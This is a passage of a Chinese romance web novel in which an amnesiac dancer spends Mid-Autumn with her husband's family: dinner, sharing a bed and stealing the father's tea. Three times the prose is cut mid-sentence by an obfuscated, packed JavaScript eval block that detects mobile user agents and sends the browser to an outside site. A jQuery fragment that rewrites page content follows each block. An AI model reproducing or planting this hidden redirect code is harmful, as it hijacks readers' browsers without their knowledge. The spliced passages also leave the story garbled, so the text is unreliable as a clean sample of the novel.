在一些人眼里看来,闻家得单独买一块地段优越的地皮,建一座只属于他们的庄园或四合院,再请一群管家仆人前呼后拥,身后跟着一堆新鲜空运的食材,这才足以匹配得上闻家如今的地位。
闻叙的妈妈许真意可不这么认为,他们家也就那么些人,住那么大的房子,一点人气也没有,也不是皇帝总统,用不着那么多人服务,还不如就住这儿,住房面积三百多平米,四个人加上一位住家阿姨,住起来正正好。
可惜,后来两个孩子都出去住了,这房子又显得空荡起来,也就过节的时候能重新热闹一下。
许真意揉着闪电的头,还挺高兴。回头一看厨房,她丈夫闻云明正忙前忙后的,抡着大铲子炒得正欢。
今天菜色比较多,与月这孩子伤了脑子,得做些好的补补,见阿姨一个人忙不过来,闻云明自告奋勇上了厨房的战场。
闪电到后没多久,俩孩子也进门来了。
许真意洗干净摸过狗的手,径直无视了自家儿子,挽住小姑娘的手臂,“就一小段时间没见你,瘦了好多。小与,在外头受苦了。现在呢,还有没有感觉哪儿不舒服?”
许真意的手很温暖,被她摸着头时,谢与月想到了自己的妈妈,忍不住抱住了她,将头埋进她肩窝拱了拱,闷声说:“没有啦,我好了不少呢。”
上来就这么热情,许真意轻轻拍着她的背,心底软成了一片。
“王姐给你做了爱吃的宫保虾球、冰糖肘子,等吃完了,再来一盅核桃黑豆汤,补脑的,味儿挺好。来之前没吃什么东西吧?”
“没吃,一口都没,带了个空荡荡的肚子,就等着来阿……妈妈这里吃饭了。”
许真意眼带着笑,过一会转过头去看闻叙,“许庭嘉怎么这么磨蹭,还不来呢,饭菜都快凉了。你帮我催催他。”
厨房里,闻云明远远地听见动静,走了出来,身上还系着条围裙,骄傲和谢与月笑说:“小与来了,快来尝一口,今个儿的地三鲜是我做的,我记得老清楚,你以前最爱吃我做的地三鲜了。”
这边吃饭没那么多规矩,谢与月跟闻云明到了餐桌边,接过他递来的筷子,夹了点试吃。
还是以前那个鲜香味儿!她笑着说爸爸的手艺比更好了,还问他是不是偷偷去哪儿进修了,色香味俱全,开饭店绝对一大堆回头客,把闻云明哄得想拎起铲子再炒十个菜。
望着一大桌子摆好的饭菜,谢与月馋得不行了。闻家的饭也非常好吃,在他们家借住的一年里,她足足涨了十斤,刚好卡在舞者体重的上限,再高一点就需要做减脂了。
希望许庭嘉马上来,人齐了就能开饭了!
心心念念祈祷下,略显清瘦的颀长身影终于出现在了门口。
和闻叙的长相和气质截然不同,许庭嘉鼻梁架着幅斯文的银丝边眼镜,身上套一件宽松的新中式的立领白衬衫,再一条黑色长裤,衬衫没有扎进去,就那么放着,得是校园里那种最惹人注意的清冷学长。
“庭嘉哥,快来吃饭!”谢与月忙招呼道,“就等你了。”
若要真说起来,对于十八岁的谢与月而言,她跟许庭嘉的关系才叫好,尤其是旁边还有个闻叙做对比,该和谁更亲近点,一目了然。
这俩兄弟是双胞胎,但差别还挺大的。许庭嘉上学时跳了级,16岁就保送到了Q大,读的生物医学工程专业,后来还去了国外留学。
聪明成这样,多少都有点傲气在,可偏偏就是这样一个人,性子好得很。
他进了屋,朝着谢与月笑笑,“路上车堵得厉害,你们都等饿了吧。”
外头的月亮黄澄澄,屋内的桌旁围了六人,王姐也一块围着吃,他们不讲究这啊那啊的,她在这里工作了二十多年,跟自家人也没什么区别了。
就连闪电也在桌下分到了一个位置,碗里装着给它做好的狗饭。
“小与,你好些了吗,还有没有头痛、眩晕、反胃、失眠这些?”许庭嘉洗干净手,拿着碗坐到闻叙旁边,细致问候着她的身体情况。
谢与月仔细回答后,转而问起他现在在哪工作,做的什么,工作辛不辛苦。与此同时,闻叙往她碗里夹了一次又一次菜,都要冒尖儿了。
桌上人多,说话自然也多,一时间热热闹闹的。和许庭嘉聊着聊着,谢与月注意到碗里的菜要堆成山了,忙端起碗来,认真消灭碗里的食物,也不说话了。
许庭嘉瞥了瞥闻叙,朝他顶了下肘,啧的一声,低低道:“得了啊,知道你俩夫妻感情好,夹那么多,小与吃得完吗。”
“吃不完,我吃。”闻叙这才往自己的碗里夹菜,没觉得自己做得有什么问题。
“德行。恶心。”许庭嘉言简意赅评价道。对闻叙这个晚了十分钟出生的双胞胎弟弟,他是一向嘴不留情的。
闻云明上了年纪,要控制三高指标,被许真意勒令不许喝酒,他倒是很乖地照做了,后来看他指标好转许多,许真意就给放松了点口径,允许节假日的时候小酌几口。
这不,饭吃到一半,已经喝上了。
太久不喝酒,闻云明酒量都小了很多,才喝几口,他就有点微醺地道:“反正明天放假,都这么晚了,今晚你们仨就搁家里头睡吧。正好赏赏月,回头再吃吃你们王姨做的老式月饼,味儿好得不得了,也就中秋这天吃才最有意思,这才叫过节嘛。”
听他絮絮叨叨完,许真意接过了话,“你们爸说得是,要不今晚就住家里吧。”
闻云明连连点头,“对!你们不住这,平时这么大的房子就我们这些老
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602917|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,忒安静了点,怪孤单的。你们说说,这人上了年纪,怎么身边陪着的还越来越少了呢?还记得你俩还四五岁小孩那阵,一到中秋就吵着要去买灯笼,非要叮咚叮当响着歌儿的那种,完了吧还得争谁的更好看,谁也不让谁,打起来你抓我我抓你,那叫一个鸡飞狗跳……”
许真意往他碗里夹菜,试图堵住这家伙喋喋不休的嘴,省得将俩孩子小时候的糗事都抖出来。
八道菜吃得干干净净,谢与月还额外喝了汤。明明小小的一碗,没几口立马饱了,剩下的她喝不完,说要留着晚些再喝。
两口子刚才都那么说了,三人自然也都答应要留下来。
一群人浩浩汤汤的,牵着闪电一块出去沿湖散步,顺带抬头欣赏顶上挂着的玉盘。今夜天空作美,没了层层堆积着的云,那月儿放肆敞敞亮亮地坦荡着,远处还跑出来不少的星星,整片天空辉煌又热闹,谁能不在这样的夜晚中流连。
散完步肚子空了点,就可以吃王姨做的月饼了。是老式的自来白,和面时加了熬得雪白的猪油,里头的馅都是甜口的,山楂、枣泥、桂花,好几种口味。王姨特地降低了糖度,吃起来不腻人。
谢与月随她爸妈,不怎么爱吃甜月饼。她爸妈都是南方人,那边月饼爱做咸口的,最好是蛋黄或者云腿的,堪称咸甜永动机。
饼吃完了,就更想爸妈了。
时间到十点,各自回到了各自房间,谢与月溜到了闻叙房间的阳台外,偷偷拿出手机,给爸妈打电话。
她今早就试着打了,想祝他们中秋快乐,可惜没接通。
夜渐深,阳台凉意渐起,她裹紧了衣服,试着先给妈妈打电话。本以为会再次出现忙音,电话那头却接通了。
没等那边出声,谢与月就开心地道:“妈妈!中秋快乐!你的电话也太难打了,这么多个才打通。爸爸呢,在你旁边吗?”
一道略带磁性的熟悉嗓音传来,“你爸出去了,还没回来,晚点他回来了我跟他说说,他闺女儿祝他中秋快乐呢,他肯定会很开心。今年还是去你真意妈妈家过的中秋?”
谢与月忙应是,又问他们什么时候回国,要在那边待多久。
“不一定。听小叙说你摔到了脑子,好好注意休息,别累着了。舞团的假请久一点,这段时间好好玩,该放松放松了。我这边信号好像不太好,你听得到吗?”
“知道啦,我会认真休息的。”
“好。我不在身边,有不开心的就和小叙说,他是个很好的孩子。先这样吧,晚点我还有事得忙,中秋快乐。”
“妈妈……”谢与月还有没说完的话,却见通话已经结束了。
她握着手机转身,见到闻叙正倚靠在阳台门边。卧室灯亮着,阳台却是暗的,只留朦胧的月色,一明一暗,给镀上了层浅浅的柔焦,那张往日里显得锋利的脸,也莫名多几分温柔。
刚才专心打着电话,都没发现他什么时候来的。他这人,有时候走起路来悄无声息,跟只猫一样。
他偏过头来看她,眼底拢着月色,“打完了?”
“打完了。”她下意识地嘟囔,“总感觉妈妈变了,她以前会喊我宝宝的。”
“宝宝?”他将这词重复,以他此时略低沉的嗓音来念,应当是极具亲昵意味的,可偏偏他尾调上扬,带着不能再明显的疑惑意味。
就差贴脸说“你是宝宝吗”了。
谢与月垂着的手暗暗握拳,在脑子里揍了闻叙一下。
她就说她跟闻叙这家伙合不来吧!
在挨无形的意念攻击时,他站直了身子,抬手揉揉她的头,“行了,宝宝别难过了。妈她忙着呢,忙忘了也是正常的。”
……即便听着是安慰的话,却也欠揍得很。
等会。
意识到自己的头被谁摸了,她捂住自己头顶,觉得今晚该洗头了。
“你摸我头干嘛,你没有自己的头吗?”她有些恼。
“哦,抱歉,顺手了。”他道,“手感挺好的。”
“……你当我狗啊!!”
8. 第 8 章
这是她第一次真正进入闻叙房间。
以前他给她补习的地点是在书房。后来借住在他家的那一年里,两人之间摩擦不少,加上当时她十七岁了,男女性别意识非常清晰,更不可能跑到他房间里去。
突然,谢与月反应过来,失策了!刚刚上楼时,她完全可以去借住时的房间住的,怎么就傻傻地跟在他身后进了这里呢!
“我之前住的那房间,还在吗?”
他也进了屋,“在啊。”
“那今晚我去那里睡好了。”这房间也就一张床,她可不想和闻叙睡一起,太可怕了。
闻叙这人骨子没个正形一样,非得找东西撑着,人靠到了桌子边,支着条长腿,语调懒懒地道:“不成。我不好和爸妈交代,都结婚这么久了还分房睡,明早我就得被他俩拎起来三堂会审。”
这倒也是。即便有个她失忆的借口在,可要是两人分房睡被发现了,很难解释。
尤其是许女士,她生了一双极为漂亮的丹凤眼,平日里瞧着有点距离感,可一被她用温温柔柔的眼神瞧着,谢与月半点都招架不住。
难怪是母子呢,闻叙的眼睛也随的她,窄窄的扇形双眼皮,眼皮薄,眼头内勾,眼尾又稍微上扬,不笑时矜贵从容,一笑了吧,就又截然不同了。
思及此,谢与月有些发愁,“那要不这样吧,你睡沙发,我睡床?”
他指着那一米八长的沙发,眉眼透着肉眼可见的诧异,“您确定?”
她看了他一眼,这人身高看着快得一米九了。
谢与月爸妈都高,她的身高自然也偏高,一米七二,将将超过国家歌剧舞剧院女性舞蹈演员一米七的身高要求。
可就算这样,站他旁边,她都感觉自己矮了一大道。
那么小的一张沙发,自然是不够他窝的。
她道:“那总不能我睡沙发吧。”
“我睡地上。就一晚,不至于刚好着凉。”他没跟她计较,主动退了一步。
着凉……?
这人一向讲究,睡地上是真挺委屈他。主要是谢与月不想真把他搞出病来,生病的滋味是真不好受,她决定退一步。
“算了,都睡床上吧。你睡左边,我睡右边,再找一张被子卷起来放在中间,咱俩各不相干。”
他眉眼微动,装作还要继续打地铺一样,“虽然是有多的被子,但不太好吧。”
“这很好。”她认为这是绝佳的方案,就这么拍板定下了。
商量好睡觉的大事后,闻叙随手勾起自己的几件衣服,去了浴室洗澡。
房间的正主没了影儿,这下,谢与月终于能光明正大地打量起这片空间。
好歹是闻叙生活了二十多年的地方,比起他俩的婚房,这里即便也收拾得极为整洁,也多了浓郁的家的意味。
桌上摆了好几个高达模型,墙是张世界地图,还有个飞镖,床边的角落有个格子矮柜,矮柜上方的墙挂着大相框,里面贴了十多张照片。
她凑近认真看着,大部分是风景照,和他头像的风格如出一辙,应当都是在藏区拍的。构图、光影说不上有技术含量,可西藏的美是天生的,不管怎么拍都震撼。
有张照片牢牢抓住了谢与月,高山草原上,站了群小孩儿,照片角落处是位妇人,她的笑鼓荡着穿越时光,孕育着巨大的力量。
她回了神,继续往下看。
矮柜最上面的一层,有个被供起来的游戏机,旁边是盏会发光的月球灯,再下面两层分门别类地放着有些泛黄的书。有本是英文原版的《国富论》,谢与月对这本书印象极为深刻。
说起来,她和这本书还有些交情,得说回她遛猫被狗追的那天。
那天,她还不知道牵着狗的人是闻叙。后来等到了第二天,她妈拎她去隔壁做客。
许女士把闻叙喊了出来,他礼貌问候完两人,又继续去小花园看书了。
客厅就两个大人,许真意怕谢与月无聊,给她拿了碟切好的水果,再放些糖果和小点心,还有饮料,让她拿着去小花园找闻叙一起玩儿。
谢与月端着去找了他,那时候的少年瘦瘦高高的,坐在藤椅上,一双无处安放的长腿伸着,手里是本大部头,春日午后阳光温暖,洋洋洒洒地盖在他身上,他应该是发现了她的到来,只是不想理她,连头都不曾抬起。
将带来的点心放到石桌上,她主动搭话起来,问他看的是什么,字很小,很深奥的样子。
“《国富论》。”闻叙终于舍得掀起眼皮,冷淡答着,顺手将书本阖上。
不喜欢看书时有人在旁边,更懒得浪费宝贵的时间去伺候个小孩玩,答完后他便站起身,说一声“失陪”,人就没了踪影。
谢与月也没怎么生气,顺着就坐上了藤椅,独自享受着午后点心,就着两杯红茶牛乳,将葡萄、草莓和糕点吃得干净,肚子撑得圆滚滚,晚饭都吃不下。
后来许真意问她和闻叙玩得怎么样,谢与月从来都不是爱告状的人,就只是说他们玩得很开心,一起看书吃东西,把东西都吃光了。
谢与月不知道的是,那天下午她回家,闻家照常吃起晚饭,餐桌上,许真意开心地和丈夫闻云明说起下午的事。
“小与这孩子真讨喜,连闻叙都喜欢跟她玩,下午还一块看书呢。闻叙,听见了没有,多和人小与玩玩,你也才十七岁,算起来还是个未成年呢,别整天跟九十七岁似的,就差个驼背走路了。”
少年抬起头来,拖着调子“哦”了一声。
还挺有骨气,没告状。
-
参观完闻叙的房间,谢与月掏出手机,和江归夏聊了会,顺带讨伐她当初抽的塔罗牌,准确性堪忧。
江大王则在手机那头哀嚎着,说她好想回京市,最近来了个被资本塞进来演配角的男明星,和她有对戏戏份,可他演技差,她只能配合重拍一次又一次,太折磨了。
还聊着呢,闻叙洗好澡了,谢与月便也准备去洗,而后突然反应过来,“我没带要换洗的衣服。”
闻叙低头给剃须刀充电,答道:“有你的衣服,在衣柜里。”
她走到衣柜前,一开始没找对地方,看到的是骑行头盔、滑板、潜水套装等等装备。
她关上衣柜,打开另一边,这里才装的日常衣服,里面有一半被腾了出来放了她的衣裙,睡衣也有,抽屉里还放着她的贴身衣物。
谢与月拿起长袖睡衣,偷偷瞄了他一眼,发现他没有在看自己,于是做贼心虚一样,飞速地把内衣裤抽出来,再用睡衣将它俩卷进去,这才假装平静地将衣柜门关上,去往浴室。
成功将衣服偷渡到浴室内,她心情很好,低低地哼着小曲儿,将秋夜的寒气洗去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602918|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
洗完出来,床上的“城墙”已经完工,用的是牛奶绒的厚毯子,沿着长边卷起来,变成了蓬松的大号长棍,平放在床中间,将床分成了两大块。
他的床大,即便这样分,各自的领地也足足有零点九米宽。
她洗了头,头发没完全吹干,发尾还是湿润的,于是窝到沙发上玩手机,不小心刷到一条新闻,顺手分享给江大王。
谢与月:[#一男子在京市某某湖边非法放生五十公斤蛇#]
谢与月:[以为放生就有功德的,有没有考虑过别人的死活啊。五十公斤,那可是五十公斤!我要是佛祖,我就把他功德全扣了!!]
给江归夏发完了消息,她下意识地看了闻叙一眼,他正盘坐在床边干净的地毯上,背对着她,不知道在做什么。
鬼鬼祟祟地看了他好几眼,谢与月终于还是没忍住好奇,猫着步子凑了过去。
察觉到她的到来,闻叙往旁边挪了下,给她腾出点位置,好让这只好奇猫瞧得更清楚些。
原来是在玩金属拼装模型,谢与月乐了,“这好玩儿。你拼的是什么?”
“秘密。”
还卖关子呢,不愿意告诉她就算了。
谢与月索性也在他身旁盘坐下来,看到他前面摊开来了一本说明书,已经翻到了第四页,他几乎没怎么看说明书,拼装的动作行云流水。
她凝神看说明书,上面画好了线条图,标注了什么A-1、D-3,还有各色的箭头,似乎代表着不同的处理方式,还挺复杂。
看他拼起来那么简单,谢与月觉得自己又可以了,自信开口道:“我想试试。”
闻叙笑了下,将手里的工具递给她,“需要教你吗?”
“要的。”她点点头,催促他快点开始教学。
他简单地给她讲了遇见不同面时的处理方式,她坐在一旁,满脸专注地学着,跟当初坐在桌前听着他讲题时一模一样。
闻叙那时以为只要自己够不留情面,她会知难而退,喊着再也不找他补习了。
没想到她不是娇气的人,即便在传统科目的学习方面称不上天才,学习态度却很好,踩过的坑最多再踩一次。一来二去的,倒真让她学了不少东西去。
大概弄懂了金属模型拼装的方法,谢与月试着自己拼起来,自小就学中国舞,她手指锻炼得很灵活,轻轻松松就将手上的两块金属片拼好了。
拼到第五块时,她成功被催眠了,昏昏欲睡,有点坐不住,一股脑都塞回闻叙手里,“你来,你来”。
将东西还了回去,她把发尾彻底吹干,顺带刷个牙,打着哈欠问还在玩模型的闻叙道:“你带了你的失眠法宝吗,要不要帮你点。”
“没带。”他将模型片精准卡好,“今晚不用。”
“好,那我睡了。”她有点失望地说道,也没喊他把灯什么的关上,钻进了被窝里,将被子往上一掖,头靠着被子,神经便蓦地放松了,呼吸逐渐悠长。
他把灯调暗,将东西收拾好,也睡上了床。一套动作下来极为轻浅,压根吵不醒她。
到了半夜,谢与月不知道梦见什么,长腿不安分地越过了两人之间的“城墙”,脚心触碰到敌方结实的大腿,就那么顺着一使劲,踹了一下。
睡到半夜被踹醒的闻叙:……
别说,还挺疼。
9. 第 9 章
谢与月踢人当然疼。
练舞的人,尤其是练到她这种程度的,身上的力量压根不可能弱。
可哪知道,她光是用脚踹闻叙还不够,手也随即支援战场,理直气壮地爬过被子城墙。
她正欲实施迫害,却被敌方有力的大手钳住,便试图用腿来援救受困的手,最后也一并落入敌网。
幸好闻叙有坚持健身,要不然今晚就要挨多几顿踢了。
被禁锢住手脚,她很快就懒得挣扎了,甚至还往他身上蹭蹭,像闻见了猫薄荷的猫。
那座城墙早就被她摧毁,甚至还被踢到了一旁去,可怜地耷拉在床边。
闻叙面无表情,困意早就被她踢飞了,加上人就在怀里,更难睡得着,只能凭着强大的意志力克制住反应,硬生生捱到了她翻身。
隔日一早,谢与月醒来,发现自己似乎正窝在某人的怀中。她迟钝地移动着视线,往上看去,他眼皮正阖着,眉心微蹙,似是睡得很不安稳。
愣住几秒后,她飞快拉开了和他的距离。
这么一来的动静不小,闻叙缓缓睁开眼,从床上坐起身,开始找罪魁祸首算账。
他指着自己一张倦惫的帅脸,逐字逐句清晰地道:“你要对我负责。”
负责什么?
她上上下下打量着他,也没什么区别,鼻是鼻眼是眼的。顶多看起来跟他每天下班回家后的状态比较像,一副不想工作的样子。
于是她不答反问道:“我还奇怪呢,怎么我在你那里?我睡觉一直都很老实的。”
“一开始是挺老实。”他冷笑一声,弯腰拎起掉地上的毯子,“你知道这个为什么会到地上吗?”
她哪知道,摇了摇头。
“你踢下来的。”
“我?”
“不仅如此。还踹了我一脚,也不知道青了没有。”
“我力气那么大?”她气焰一下子就弱了。
他将毯子折好放回床上,“大不大你自己不清楚?”
“对不起。”她能屈能伸,立马道歉,“我昨晚做了个梦,有人把我和爸妈从赶出了家,还踩在我家沙发上大笑,我在梦里认真一看,那个人居然是你!一生气,就拳打脚踢了。”
谁想,不光梦里揍了人,现实也揍了。
“不容易,我都能在你梦里当上反派了。真是受宠若惊。”他揉揉眉梢,拿起充好电的剃须刀,去浴室洗漱,懒得再说什么了。
望着这人背影,谢与月又觉得他挺可怜的,任谁晚上被踹醒都没办法好声好气的,何况她力气确实大。
幸好就只用跟他睡这么一次。
惦记着要吃早餐,她比闻叙要先洗漱好。
下楼时,许庭嘉早就在坐着了。
他如今在实验室工作,平日里忙得很,难得有个闲暇的中秋假期,早早便吃完早餐,坐在客厅旁的开放小茶室里泡茶喝。
要不说许庭嘉像他爹呢,这俩都爱喝茶,成天有空了就四处去淘什么紫砂壶、茶宠、瓷制茶具之类的,凑一块能就着这个话题聊上几个小时。
闻云明早上出门了,这也让许庭嘉得到了机会,光明正大地把玩起他爹的中年人玩具收藏,还翻出了被当成命根子珍藏的茶叶,老道地泡着。
见着了谢与月,他温和的眉眼泛上笑意。
“小与,早。你来得刚好,这是爸偷偷藏着不告诉别人在哪的宝贝,我馋了好久,昨晚趁他喝酒偷偷套了话,今天才有机会喝上。早餐在厨房,你喝完这一小杯茶,刚好就着吃包子。”
谢与月低头看他泡茶,说道:“要是我喝了,不是成你共犯了?”
“你不说,我不说,爸爸哪里会怀疑你。而且,我是肯定不会出卖你的。茶没那么烫了,可以喝了,这个温度喝,味道会很饱满。”
被这番怂恿,谢与月跃跃欲试的,在心底和闻云明说了声抱歉,端起小巧的品茗杯,小小抿一口。她不大懂茶,只知道很香,好喝。
知道她肯定会好奇这是什么茶叶,还没等她开口,许庭嘉便主动帮她解了惑。
“这款叫做远香岩茶,百年老枞了。本来是有两棵的,后来有棵的位置不小心暴露出来,有嫉妒的同行偷偷把它挖了,现在就剩一棵,产量非常低,现在几乎买不到了。”
“就因为嫉妒,偷偷挖掉了那么努力长了百年的茶树?人家茶树还想继续活着呢。”谢与月愤愤不平。
许庭嘉笑着附和道:“就是,人茶树也想活着呢。”
喝完这杯,谢与月从厨房拿了包子和豆浆出来,边吃边和许庭嘉继续聊天。
今天的早餐是透油大肉包。这包子的皮薄,里头肉汁一沁满,包子皮便泛上了亮汪汪的肉棕色,咬下一口,满口都是鲜肉的香。这是王姨赶早儿去老字号包子铺买的,她知道谢与月爱吃这家。
将一个包子吃完,突然想到什么,谢与月朝旁边谨慎地看看,发现没有人,于是压低声音,偷偷问许庭嘉道:“我一直都很想问,你知道我为什么和闻叙结婚吗?”
这问题,她问过闻叙,他没正面回答,只说是妈妈们的婚约,后来又问了江归夏,她也不知道。
谢与月太想弄清楚了,如今许庭嘉在这,他作为闻叙的双胞胎哥哥,肯定知道点什么的吧!
许庭嘉有些为难,放下手中的白玉杯,叹了口气,欲言又止。
瞧这表情,想来是有些说道在里头,谢与月不免有些紧张,一双杏仁眼专注地盯着他,等待着答案。
“那段时间我在国外,其实我也不大清楚。”余光瞧见有道身影走近,他顿了一下,继续道,“其实说起来,我这哥哥当得很失职,都没怎么关心过弟弟,他什么时候谈的恋爱、求婚,我是一点都不知情。当初听说他要订婚,我差点连要跟谁都没弄清楚。”
勾起了叫他难过的话题,她有些愧疚,忙安慰道:“你也不要自责,闻叙一直不爱说这些的,不是你的问题。”
“谢与月,”一道略显冷淡的嗓音插了进来,“听起来你还挺了解我的。”
她脊骨一僵,扭头看去,闻叙正站她身后,双手抱胸的,脸上表情挺淡,看不出来他到底在想什么。
于是,她举起手中最后一个还没来得及的透油大肉包,朝他递过去,“吃吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602919|172050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叫她让出喜欢的食物来,那可比虎口夺食还难。
闻叙没接过去。
以为他这是用沉默拒绝了,她正准备收回手,独自遗憾地享用,他却忽地俯下身来,就着她的手咬下一口。她在食物上的品味一向很好,这包子咬下去汁水充足,惹得口齿鲜香。
“谢谢。”他这才将包子接过来,无视她面上丰富的表情,将包子吃了个干净,顺带在她旁边坐下,朝着许庭嘉抬了抬下巴,“一闻就知道你又偷爸的茶喝了,给我也泡一杯,漱漱口。”
许庭嘉当着他的面,将剩下的几个品茗杯塞到柜子里,这才道:“狗鼻子。真可惜,没有多余的杯子了。”
“用这个。”闻叙拿起谢与月面前的茶杯,放到茶盘上,发出清脆的碰撞声,“你不是想关心下我吗,现在做弟弟的想喝茶了,泡吧。”
瞥了故意找事的闻叙一眼,许庭嘉用烧开的水烫茶杯,边泡边说:“给你喝茶,这茶进了你的肚子都得喊冤,白辛苦长那么久,最后遇见了个吃人参果的猪八戒。”
闻叙可不管他这套,反倒说道:“哦,按你这么说,那谢与月不也是猪八戒?”
默默围观兄弟俩火.药味日常的谢与月:“啊?”
“那怎么能一样,我把小与当亲妹来看,而你只是弟弟。这是两个物种。”
闻叙哦一声,“医学博士就是厉害,连物种都能创新。”
茶泡好了,等氤氲的雾气散了些,不怎么烫了,闻叙端起装了八分满的温润白玉杯,送至嘴边,仰头一口便喝完,喉结滚着,没有半点品茶该有的优雅讲究。
谢与月就没见过这样喝茶的,总算明白许庭嘉为什么不愿意给他泡茶了,这就是牛嚼牡丹!
闻叙指腹摩挲着还残留余温的杯身,眉毛略扬,“还有,别什么亲妹妹不亲妹妹的,记清楚了,是弟妹。茶不错,再来一杯。”
许庭嘉还没来得及开口,出去遛狗的闻云明回来了。
闻叙耳朵灵,早在听见动静时就站了起来,将白玉杯放进兜里,还顺道拎走搞不清楚情况的谢与月,走到门口时,闻云明也才刚刚进来。
“爸,我和小与先带着闪电回去了。您去茶室看一眼吧,我刚下来,好像看到许庭嘉在那儿。”
闻云明还想劝两人别那么快走,一听说许庭嘉在茶室,什么话也不说了,将狗绳塞进闻叙手里,快步走向茶室。
只见茶室里,那逆子正坐在红木椅上,茶盘上摆着一个品茗杯,旁边是他最宝贝的素带紫砂壶。闻云明掀开了壶盖,一股子叫他肉疼的木质枞香涌了出来。天杀的,这分明就是他的远香!
“许庭嘉你个小兔崽儿,又偷你老子的茶喝!!”
屋内传来中气十足的骂声,谢与月有点担心,还想过去瞅一眼,还没探头呢,就被闻叙三两下拉走了。
“别看了,晚点许庭嘉要是把我俩也拉下水,都走不了。”
“不会,他刚答应我不说的。”
“他答应的是你,又不是我。是吧,许庭嘉的亲妹妹?”
最后三个字,他一字一顿咬着,想忽视都难。
10. 第 10 章
又来了,搞不懂这家伙到底在阴阳怪气些什么。
谢与月懒得理他,“我去隔壁瞧瞧,不知道我小叔小婶在不。来都来了,得去看下他们。”
闻叙迈着腿跟在她后头,手里还不忘牵着闪电,闪电以为是要跟它玩儿,频频走到他前头试图绊住他,闻叙只能一会走左边一会走右边,就这么跟着她到了隔壁。
很不凑巧,隔壁的别墅里没人,安安静静的,按门铃也没人出来应。
透过落地窗,她隐隐见着了里面的陈列,早已不是当初家的模样。
于是两人一狗只能回家,刚到家,闻叙就拿了把梳子,将闪电摁在地上,熟练地给它梳毛,前两天忘记给它梳毛了,刚在路上浮毛蹭了他一裤腿。
闪电不爱梳毛,但每次都抗拒不了它狗爸手臂的一把力气,只能乖乖地躺地上任爸摆弄,完了吧嘴里还要哼哼发出不乐意的声音来过嘴瘾。
谢与月主动凑过来,手肘戳戳闻叙,说道:“让我试试。”
他把沾了毛的梳子递给她,顺手指挥着闪电翻个面,刚才那面已经梳好了。
以防闪电中途趁乱跑走,他依旧在旁边摁着它,顺带在旁边指挥她。
“别用太大力,得轻柔,顺着方向梳。遇见打结的地方就放慢,轻轻把结蹭开,蹭不开就剪掉。”
谢与月把动作放到最轻,耐心梳着,闪电黑黑的眼滴溜溜转了转,也不哼哼叫了,就安静趴在那,享受着两脚兽的伺候。
等给闪电梳完了毛,闻叙上楼回到了次卧,估计是去补觉了。
闪电也跑回它房间睡觉去了,趁着空闲,谢与月出了躺门。
九月到十月是佛手柑大量成熟的时间段,这是一种偏小众的水果,尤其是在北方,平日里很少有人卖,只有这两个多月有机会见着,其余时间段只能考虑网购了。她打算去超市碰碰运气。
她还绕路,特地找到了一家卖毛线的店。
谢与月想给闪电织一顶帽子,闪电和其他小狗不大一样,它很喜欢穿衣服戴帽子,套上衣服,就立马装起范儿来了,狗模人样的。
这点估计是待在闻叙身边久了,耳濡目染出来的。
这织毛线的本领,是她跟一位奶奶学来的。
谢与月的爸妈从没把她当成个脆弱的瓷器来养,刚生下来十个月,就提溜着她去户外爬行晒太阳,说能接触到大地的自然菌群,这样才能长好身体。
孟女士一直很热衷于四处探望她资助的女孩们,后来女儿三岁大了,体质壮如牛,便捎上她一块去,一去就是十天半个月。
有时候条件艰苦了点,就在屋里的黄土地上打地铺,大夏天的,闷热的天,微弱的钨丝灯泡,一盘熏人的蚊香,窗外吱吱喊的蛐蛐,便是谢与月仅存的一点点三岁记忆。
同年,她爱上了舞蹈,爸妈以为她只是一时兴起,她却坚持学了三年,一日不落。
看她是真的喜欢,孟明玉带她去找了一位退役的国家一级舞蹈演员,那位老师退役后过上了清修的日子,回到了老家,住在长白山下的一座村庄里。
那天去的路上,孟女士和她说:“我和她是朋友,但人家不会因为我的面子就收你做学生。接下来我们会在这里住一个月,能不能拜师成功,就看你们有没有缘分了。”
那时她也才六岁,不知道自己面对的是这么厉害的一位老师,只当作平常来相处,也不知道是哪点得了青睐,还真被看上了。
这之后,孟女士把她丢到了长白山,自己则又继续忙起事业。
住在长白山的那段时间,她和村头村尾的几乎都混熟了,谁见着了都得亲切地喊她声“与丫头”。练舞空了,她就跟着村里的一位老太太学织毛线,还趁机学会了一点方言,混得是更如鱼得水了。
当初被闻叙丢掉的那个,便是她拿着勾针,在灯下细细琢磨着织出来的。
这次她只给闪电,没他的份。
她左手提着新鲜的佛手柑,右手提着毛线,满载而归,恰好碰见闻叙下楼。
一看时间,也才过去四十分钟,她随口问道:“不多睡会?”
“不了,临时有安排,有位合作商要见。”
